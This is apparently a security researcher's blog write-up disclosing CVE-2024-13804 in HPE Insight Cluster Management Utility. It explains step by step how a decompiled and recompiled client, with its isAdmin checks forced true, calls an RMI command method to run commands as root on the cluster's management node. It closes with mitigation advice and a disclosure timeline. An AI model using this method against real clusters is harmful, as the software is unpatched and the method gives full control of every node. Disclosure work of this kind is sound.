However, like any complex software managing critical IT environments, HPE CMU is not immune to security vulnerabilities. In this post, we will explore a vulnerability in HPE CMU. Unfortunately, the product is End-Of-Life and will no longer receive any additional updates. Therefore, it is crucial to restrict access to this environment at network level to limit exposure.

## Java FX / JNLP Client Apps

When accessing the web page of CMU in the browser, it allows you to download a GUI jnlp (Java client) application. FX applications (jnlp extension) are just XML files that will download and run the specified class of a jar file with given arguments in a local GUI. The CMU jnlp contains the following XML content:

{% code lineNumbers="true" %}

```xml
<?xml version="1.0" encoding="utf-8"?>
<jnlp spec="1.0" codebase="https://target-ip/">
	<information>
		<title>HPE Insight Cluster Management Utility</title>
		<vendor>HPE</vendor>
		<homepage href="http://www.hpe.com/info/cmu"/>
		<offline-allowed/>
	</information>
	
	<resources>
		<jar href="cmugui_standalone.jar" main="true"/>
	</resources>
	
	<!-- settings -->
	<resources>
		<j2se version="1.7+" max-heap-size="768m" href="http://java.sun.com/products/autodl/j2se"/>
	</resources>
	<security>
		<all-permissions/>
	</security>
	<application-desc main-class="com.hpe.cmu.gui.view.SplashScreen">
		<argument>CMUServerIP=target-ip</argument>
		<argument>CMUServerPort=1099</argument>
		<argument>debug=false</argument>
		<argument>3Ddebug=false</argument>
	</application-desc>
</jnlp>
```

{% endcode %}

In this case, the application downloads the cmugui\_standalone.jar file, which connects to the backend server over port 1099. The user can simply open this application and view some data without authorization. However, there is no permission to use Cluster Administration or anything else without proper authentication.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FJKNKCgt08e3gUEJogriW%2FScreenshot%202025-02-07%20at%2021.14.41.png?alt=media&amp;token=147b3c65-f735-455c-9dde-589e0955b214" alt=""><figcaption><p>Anonymous access to the application</p></figcaption></figure>

Many menu items related to administration appear to be grayed out, so let's download the jar for further analysis.

## Jar Decompilation

Since the application is a jar file, it can be decompiled, updated and recompiled. The first step would be to decompile cmugui\_standalone.jar. For example, [JD-GUI](http://java-decompiler.github.io) can be used to decompile the application.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FA1cpL4TX6CyditWzEcWP%2FPasted%20image%2020230427223221.png?alt=media&amp;token=a5bd2272-e078-4ff3-9cdc-826dca8c68bd" alt=""><figcaption><p>Opening the jar with JD-GUI</p></figcaption></figure>

Take note of the Java version of the app, as it will be important when recompiling the application after weaponization at a later stage.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FfF1S3iM2Yq1DYNGuYFxa%2FPasted%20image%2020230427223500.png?alt=media&amp;token=e1b0f9dc-9aff-42dc-9351-9dacb21c1267" alt=""><figcaption><p>Manifest.mf</p></figcaption></figure>

Now use file > save all sources to save the decompiled files to a zip.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FzIov72pQ992IUHxwbEi0%2FPasted%20image%2020230427223237.png?alt=media&amp;token=8779508e-46ad-4306-898c-f0100bd460d2" alt=""><figcaption><p>Saving decompiled source code</p></figcaption></figure>

## Source Code Analysis

We can now initiate the code review process.

### IDE Setup

Download an IDE, such as [IntelliJ IDEA Community Edition](https://www.jetbrains.com/idea/download/#section=mac) and create a new Java project with a Java version similar to the decompiled jar. The Java version in the decompiled app was 1.7. However, in this case JDK 1.8 also worked and was easier to obtain.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F2pxrJeUXoa5BeOAWrvas%2FPasted%20image%2020230427223531.png?alt=media&amp;token=8508252c-f673-4afa-b604-8cb7744486ad" alt=""><figcaption><p>Creating a new project</p></figcaption></figure>

Unzip the decompiled source code and add the contents to a decompiled\_src folder in the project. This way we can review it and make modifications later to override existing functions.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FZ1sILbqW73xQDuZbiFja%2FPasted%20image%2020230427223649.png?alt=media&amp;token=6c449a74-ec82-44f3-bac2-6d06f923b128" alt=""><figcaption><p>Add decompiled source to project</p></figcaption></figure>

Create a lib folder and add the initial jar here.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F8HjIA3FykBkj9de9bkub%2FPasted%20image%2020230427223734.png?alt=media&amp;token=75de5b85-02c4-4085-8c21-bdb153cc6a61" alt=""><figcaption><p>Add original jar as library</p></figcaption></figure>

Go to File > Project Structure and add a new module in the modules tab:

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FjxNq03Ddo5WmSob9sefx%2FPasted%20image%2020230427223839.png?alt=media&amp;token=ee7ad29b-4859-4670-9191-ee6e66ce765c" alt=""><figcaption><p>Register orginal jar </p></figcaption></figure>

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F1bytDDYP4NzXZIsJ2Ivg%2FPasted%20image%2020230427223909.png?alt=media&amp;token=fb4f31cf-3346-4d78-8d27-e3beb56865ed" alt=""><figcaption><p>Successfully added library</p></figcaption></figure>

Now, open the artifact and add a jar as output artifact. Choose the "from modules and dependencies option". This ensures the project is compiled to a jar again once modifications are made.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FGLoR0OPhvjkJohdmEjxd%2FPasted%20image%2020230427224115.png?alt=media&amp;token=ad31a887-5445-4d7c-bb85-0f8c9a13c594" alt=""><figcaption><p>Configure jar output</p></figcaption></figure>

### Authentication bypass

Now we are ready to browse the source code. The first thing we will try to figure out is how the authentication and authorization mechanism works. While searching for admin functionality, the first thing that stands out are the many `isAdmin` occurrences. For example, the package com.hpe.cmu.gui.model contained a check to validate if the user is admin. This is shown in the following code snippet.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F3SKk0AK5ESHwin6JTG8Y%2Fcmusrc.png?alt=media&amp;token=11b6f7c9-26f3-46c7-a970-e10f92d8e679" alt=""><figcaption><p>isadmin validation</p></figcaption></figure>

As most experienced pentesters know, client-side authorization checks do not mean anything without server-side validation. We could simply set all instances of isAdmin to true and recompile the application. This can be done by copying the java files we would like to edit to the source folder. Make sure to use the same package name (directory path) as the original file and also copy over the MANIFEST.MF file.

After recompiling, we can observe that we already got rid of the grayed-out areas in the Cluster Administration menu. Of course, this is not necessarily proof of any vulnerability unless we can actually execute additional functionality.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FKzijth83CjxaLdUwn2xP%2Fimage.png?alt=media&amp;token=e20827c5-7f9c-44f6-bc91-22c42c31d347" alt=""><figcaption><p>New menu items</p></figcaption></figure>

### Implementing Remote Code Execution

We already know that the application communicates to the backend over port 1099 (Java RMI), which is perhaps even most famous for the many exploits that exist. However, I could not find an immediate direct way to exploit it by accessing this port.

A short search through the source code for the RMI implementation revealed how to execute commands on the backend via implemented RMI classes.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FhEJf8Pob5GQd6reizvwD%2FScreenshot%202025-02-07%20at%2023.56.33.png?alt=media&amp;token=a40418f3-36bf-4c35-9b2f-d2d12fc56b0a" alt=""><figcaption><p>RMI Interaction</p></figcaption></figure>

Since we know that the `isUserAdmin` check is likely executed (multiple times) throughout the code, we can call the ExecuteCmdLine method of the RMI model from here to execute commands on the backend and print output to stdout. In the following screenshot, we print the output of the `ifconfig` Linux command.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FXGdcPPcJhHkMdKxpSVlH%2Fimage.png?alt=media&amp;token=124deb0a-fcc0-4c7a-8a46-6cdc0aa7a297" alt=""><figcaption><p>Updated isUserAdmin() function</p></figcaption></figure>

### Recompiling The Application

Now it's just a matter of recompiling the client application to a jar and executing it. To achieve this, we can copy the modified AdminUserModel java file to the source folder. Again, make sure to use the same package name (directory path) as the original file. Also copy over the MANIFEST.MF file

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FZ3q6K7RLPJND2mje5w9J%2FPasted%20image%2020230427224528.png?alt=media&amp;token=dec9f03b-eb88-4841-afd2-5d622dc45a78" alt=""><figcaption><p>Updating the AdminUserModel.java file</p></figcaption></figure>

Now go to build > Build Artifacts...

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F2lYXYtqE6pmiQ1LlCCQm%2FPasted%20image%2020230427224713.png?alt=media&amp;token=56b8cc4e-b6f6-40a9-8f3b-1bad10fdb77d" alt=""><figcaption><p>Rebuilding the jar</p></figcaption></figure>

Sometimes you may encounter signature issues when running the jar. These can be avoided by simply opening the final jar with an archive tool like Winrar and removing .SF and .RSA file from META-INF.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2Fu4XGbsB0yy3ehqVOBXAc%2FPasted%20image%2020230427225010.png?alt=media&amp;token=a3970011-96ff-40a7-ac1e-0daf7879497c" alt=""><figcaption><p>Removing the invalid signatures from the archive</p></figcaption></figure>

### Remote Code Execution

Finally, execute the jar from the commandline to start the application and trigger the ifconfig command. As we can see, the ifconfig command executes successfully.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FpLnplAAFFwpAGUEd6KPu%2Fimage.png?alt=media&amp;token=d39c7603-e46c-4211-ba36-6bf5f9a26479" alt=""><figcaption><p>Successful ifconfig execution</p></figcaption></figure>

## Impact

This proof of concept demonstrates the possibility to execute commands remotely on the Cluster's management node. Furthermore, these commands are executed as the root user, which means full system access. On top of this, CMU is cluster management software so this means full control over all nodes in the cluster as well. E.g., it was possible to also connect to ILO interfaces of nodes.

## Mitigation

Unfortunately, the software is considered End of Life (EoL) and will likely not receive any update given that this is a design flaw and requires significant effort to fix.

If you still have this software running in the environment, the main recommendation would be to isolate it from the rest of the environment at network level.

### Disclosure Timeline (YYYY-MM-DD)

This timeline illustrates perfectly why I prefer not to chase CVEs. The folks from MITRE did an excellent job here. I'm not sure if I would have succeeded without them.

2023-05-02: Contact HPE PSRT (<security-alert@hpe.com>)\
2023-05-02: HPE PSRT (<security-alert@hpe.com>) responds findings will be assessed.\
2023-06-05: Requested Update from HPE PSRT (no response)\
2023-11-17: Requested Update from HPE PSRT (no response)\
2024-03-21: Contacted CERT about vulnerability and unresponsive vendor\
2024-03-21: Response from CERT\
2024-03-21: Provided additional details to CERT on tested version\
2024-05-28: Response from CERT that CVE request is relayed to ENISA\
2024-10-28: Follow-up from CERT to submit via MITRE\
2024-10-28: Send vulnerability details to MITRE\
2024-10-31: MITRE asks if I contacted HPE first\
2024-11-01: Explained the process I went through to MITRE\
2024-11-20: MITRE gets HPE to agree on CVE\
2025-01-02: Requested update on CVE status from MITRE\
2025-01-09: MITRE responds with the question if I received the CVE ID from HPE (not the case)\
2025-01-13: MITRE reaches out to HPE again\
2025-01-31: MITRE forwards the CVE ID CVE-2024-13804, which they just received from HPE. MITRE asks writeup reference\
2025-02-08: Sent a link to this blog post as reference\
2025-02-10: MITRE forwards the reference to the blog to be included in the CVE publication\
2025-03-04: Contacted MITRE to follow-up\
2025-03-08: MITRE explains HPE indicated they would publish soon, but did not do so. MITRE sent HPE a reminder and offered to transfer the CVE ID to them\
2025-03-21: Contacted MITRE to follow-up\
2025-03-31: Mitre offered an ultimatum to HPE to publish the CVE themselves\
2025-03-31: HPE published CVE\ <br>


